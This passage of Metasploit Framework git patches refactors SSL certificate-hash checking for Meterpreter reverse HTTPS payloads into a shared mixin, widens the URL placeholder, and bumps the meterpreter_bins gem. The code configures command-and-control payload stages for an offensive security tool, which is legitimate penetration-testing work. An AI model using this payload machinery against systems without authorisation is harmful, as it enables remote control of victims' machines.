a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 216fa69e3e..67aba9e855 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -18,7 +18,7 @@ module Rex # Replace the URL def self.patch_url!(blob, url) - patch_string!(blob, "https://#{"X" * 256}", url) + patch_string!(blob, "https://#{'X' * 512}", url) end # Replace the session expiration timeout From 9c9d333a1b05d76bc19d64487afb5d9eedca5cc4 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 23 Mar 2015 13:21:08 +1000 Subject: [PATCH 09/11] Create verify ssl mixin, adjust some formatting --- lib/msf/core/handler/reverse_http.rb | 24 ++++++------------- .../core/payload/windows/reverse_winhttps.rb | 23 ++++-------------- lib/rex/parser/x509_certificate.rb | 4 ++-- lib/rex/payloads/meterpreter/patch.rb | 12 +++++----- .../windows/meterpreter_reverse_https.rb | 24 ++++++------------- 5 files changed, 26 insertions(+), 61 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b55725d87a..1a0707e3a8 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -4,6 +4,7 @@ require 'rex/sync/ref' require 'msf/core/handler/reverse_http/uri_checksum' require 'rex/payloads/meterpreter/patch' require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf module Handler @@ -17,6 +18,7 @@ module ReverseHttp include Msf::Handler include Msf::Handler::ReverseHttp::UriChecksum + include Msf::Payload::Windows::VerifySsl # # Returns the string representation of the handler type @@ -292,13 +294,15 @@ protected blob = obj.stage_payload + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # # Patch options into the payload # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, :ssl => ssl?, :url => url, - :ssl_cert_hash => get_ssl_cert_hash, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], @@ -306,7 +310,7 @@ protected :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + :proxy_pass => datastore['PayloadProxyPass']) resp.body = encode_stage(blob) @@ -357,20 +361,6 @@ protected port > 0 ? port : datastore['LPORT'].to_i end - def get_ssl_cert_hash - unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - return nil - end - - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - end - - hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) - print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") - hash - end - end end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index e53aa6ae2d..4fe531ccff 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' -require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf @@ -17,6 +17,7 @@ module Msf module Payload::Windows::ReverseWinHttps include Msf::Payload::Windows::ReverseWinHttp + include Msf::Payload::Windows::VerifySsl # # Register reverse_winhttps specific options @@ -49,7 +50,8 @@ module Payload::Windows::ReverseWinHttps # def generate - verify_cert_hash = get_ssl_cert_hash + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space @@ -97,23 +99,6 @@ module Payload::Windows::ReverseWinHttps space end - # - # Get the SSL hash from the certificate, if required. - # - def get_ssl_cert_hash - unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - return nil - end - - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - end - - hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) - print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") - hash - end - end end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb index a1fad8a968..61a0a4b179 100644 --- a/lib/rex/parser/x509_certificate.rb +++ b/lib/rex/parser/x509_certificate.rb @@ -58,7 +58,7 @@ class X509Certificate # # Parse a certificate in unified PEM format and retrieve - # the SHA1 hash. + # the SHA1 hash. # # @param [String] ssl_cert # @return [String] @@ -74,7 +74,7 @@ class X509Certificate # # Parse a file that contains a certificate in unified PEM - # format and retrieve the SHA1 hash. + # format and retrieve the SHA1 hash. # # @param [String] ssl_cert_file # @return [String] diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 67aba9e855..166eb7f7cf 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -99,12 +99,12 @@ module Rex # Patch options into metsrv for reverse HTTP payloads def self.patch_passive_service!(blob, options) - patch_transport! blob, options[:ssl] - patch_url! blob, options[:url] - patch_expiration! blob, options[:expiration] - patch_comm_timeout! blob, options[:comm_timeout] - patch_ua! blob, options[:ua] - patch_ssl_check! blob, options[:ssl_cert_hash] + patch_transport!(blob, options[:ssl]) + patch_url!(blob, options[:url]) + patch_expiration!(blob, options[:expiration]) + patch_comm_timeout!(blob, options[:comm_timeout]) + patch_ua!(blob, options[:ua]) + patch_ssl_check!(blob, options[:ssl_cert_hash]) patch_proxy!(blob, options[:proxy_host], options[:proxy_port], diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index e82262b61b..db2dcb9d77 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -16,6 +16,7 @@ module Metasploit3 include Msf::Payload::Windows::StagelessMeterpreter include Msf::Sessions::MeterpreterOptions + include Msf::Payload::Windows::VerifySsl def initialize(info = {}) @@ -55,10 +56,13 @@ module Metasploit3 # end #end - Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll, + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll, :url => url, :ssl => true, - :ssl_cert_hash => get_ssl_cert_hash, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ua => datastore['MeterpreterUserAgent'], @@ -66,24 +70,10 @@ module Metasploit3 :proxyport => datastore['PROXYPORT'], :proxy_type => datastore['PROXY_TYPE'], :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_password => datastore['PROXY_PASSWORD']) end end - def get_ssl_cert_hash - unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - return nil - end - - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - end - - hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) - print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") - hash - end - end From 20131110cd21c91efda225908d8681f551e2e9cd Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 23 Mar 2015 13:22:10 +1000 Subject: [PATCH 10/11] Add verify_ssl file (missed in prev commit) --- lib/msf/core/payload/windows/verify_ssl.rb | 36 ++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 lib/msf/core/payload/windows/verify_ssl.rb diff --git a/lib/msf/core/payload/windows/verify_ssl.rb b/lib/msf/core/payload/windows/verify_ssl.rb new file mode 100644 index 0000000000..3c038d488f --- /dev/null +++ b/lib/msf/core/payload/windows/verify_ssl.rb @@ -0,0 +1,36 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/parser/x509_certificate' + +module Msf + +### +# +# Implements SSL validation check options +# +### + +module Payload::Windows::VerifySsl + + # + # Get the SSL hash from the certificate, if required. + # + def get_ssl_cert_hash(verify_cert, handler_cert) + unless verify_cert.to_s =~ /^(t|y|1)/i + return nil + end + + unless handler_cert + raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured" + end + + hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + +end + +end + From afe17e1f3371d791097377590fa0f5091f330450 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 23 Mar 2015 17:15:49 -0500 Subject: [PATCH 11/11] bump meterpreter bins to 0.0.17 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index aa5e42f9b6..a1d14ffc1e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 0.3.0) metasploit-model (~> 0.29.0) - meterpreter_bins (= 0.0.16) + meterpreter_bins (= 0.0.17) msgpack nokogiri packetfu (= 1.1.9) @@ -132,7 +132,7 @@ GEM pg railties (< 4.0.0) recog (~> 1.0) - meterpreter_bins (0.0.16) + meterpreter_bins (0.0.17) method_source (0.8.2) mime-types (1.25.1) mini_portile (0.6.1) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 09b425b894..c60c169c14 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'meterpreter_bins', '0.0.16' + spec.add_runtime_dependency 'meterpreter_bins', '0.0.17' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler